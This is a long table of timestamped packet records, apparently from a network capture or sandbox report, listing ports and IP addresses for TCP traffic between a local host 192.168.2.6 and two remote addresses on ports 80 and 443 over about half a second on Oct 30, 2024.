Oct 30, 2024 05:25:23.974607944 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974633932 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974648952 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974661112 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974672079 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974706888 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974730968 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974863052 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974881887 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974891901 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974914074 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974936008 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974936962 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974937916 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974955082 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974963903 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974987030 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.975013971 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.975281954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.975292921 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.975302935 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.975333929 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.975359917 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.975413084 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.975460052 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.975490093 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.975502014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.975527048 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.975536108 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.975544930 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.975564957 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.975564003 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.975581884 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.975598097 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.975656986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.975667953 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.975677013 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.975687027 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.975697041 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.975709915 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.975733995 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.976210117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.976222038 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.976232052 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.976242065 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.976253033 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.976258993 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.976258993 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.976277113 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.976300955 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.048537016 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.048552036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.048562050 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.048674107 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.093151093 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.093250036 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.093286991 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.093296051 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.093332052 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.093358040 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.093405008 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.093451023 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.093451977 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.093461037 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.093488932 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.093498945 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.093503952 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.093532085 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.093544960 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.093898058 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.093909025 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.093921900 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.093938112 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.093966007 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.093974113 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.093983889 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.093995094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094007015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094012022 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.094017982 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094043016 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.094048023 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094064951 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094067097 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.094089985 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.094113111 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.094141006 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094151974 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094162941 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094173908 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094183922 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094187021 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.094214916 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.094227076 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.094799995 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094852924 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094857931 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.094866037 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094886065 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.094897032 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094906092 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.094908953 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094919920 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094938993 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.094953060 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.094961882 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.094989061 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.094996929 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.095004082 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.095014095 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.095038891 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.095063925 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.095074892 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.095086098 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.095094919 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.095104933 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.095124006 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.095123053 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.095134020 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.095149040 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.095161915 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.095191002 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.095451117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.095493078 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.095498085 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.095505953 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.095537901 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.095552921 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.095555067 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.095566034 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.095603943 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.095617056 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.142779112 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.142791033 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.142801046 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.142857075 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.142894983 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.167707920 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.167721033 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.167762995 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.167833090 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.167833090 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.212153912 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.212163925 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.212240934 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.212476015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.212486982 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.212500095 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.212529898 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.212568998 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.212708950 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.212721109 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.212730885 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.212753057 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.212766886 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.212925911 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.212937117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.212948084 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.212976933 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.212985992 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213009119 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213018894 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213028908 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213049889 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213063955 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213175058 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213185072 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213196039 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213227034 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213239908 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213309050 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213326931 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213336945 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213359118 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213359118 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213382006 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213392019 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213423014 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213512897 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213563919 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213578939 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213589907 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213612080 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213620901 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213629961 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213634014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213649035 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213649035 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213664055 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213689089 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213866949 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213906050 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213907957 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213917017 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.213959932 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213959932 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.213999987 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214014053 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214024067 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214030027 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214035988 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214070082 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.214093924 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.214093924 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.214360952 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214376926 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214386940 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214409113 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.214426994 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214430094 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.214440107 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214452982 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214462996 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214467049 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214649916 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.214649916 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.214649916 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.214834929 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214848042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214859009 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214894056 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.214977026 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.214977980 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.214987993 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.215034008 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.215046883 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.262926102 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.262938023 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.262949944 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.263009071 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.263009071 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.287189960 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.287200928 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.287210941 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.287282944 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.306199074 CET	443	50000	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:24.306287050 CET	443	50000	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:24.306412935 CET	50000	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:24.306637049 CET	50000	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:24.306664944 CET	443	50000	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:24.332035065 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332046032 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332061052 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332070112 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332082987 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332102060 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332123041 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332149029 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332165003 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332170963 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332175970 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332207918 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332218885 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332228899 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332242012 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332254887 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332273960 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332287073 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332397938 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332406998 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332420111 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332437992 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332456112 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332459927 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332470894 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332475901 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332484007 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332496881 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332509041 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332633018 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332662106 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332675934 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332690954 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332717896 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332756042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332756996 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332767963 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332779884 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332792997 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332806110 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332825899 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332932949 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332978010 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.332982063 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.332993031 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333014011 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333024025 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333024025 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333031893 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333046913 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333071947 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333197117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333235025 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333235979 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333245039 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333276033 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333292007 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333316088 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333332062 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333343029 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333353043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333358049 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333363056 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333375931 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333405018 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333640099 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333681107 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333687067 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333703995 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333720922 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333723068 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333731890 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333745956 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333771944 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333771944 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.333977938 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333987951 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.333998919 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.334019899 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.334050894 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.334100962 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.334110975 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.334120989 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.334139109 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.334167957 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.334197044 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.334213018 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.334234953 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.334248066 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.382273912 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.382287025 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.382297993 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.382308960 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.382320881 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.382328987 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.382330894 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.382385015 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.406354904 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.406371117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.406411886 CET	49997	80	192.168.2.6	185.215.113.16
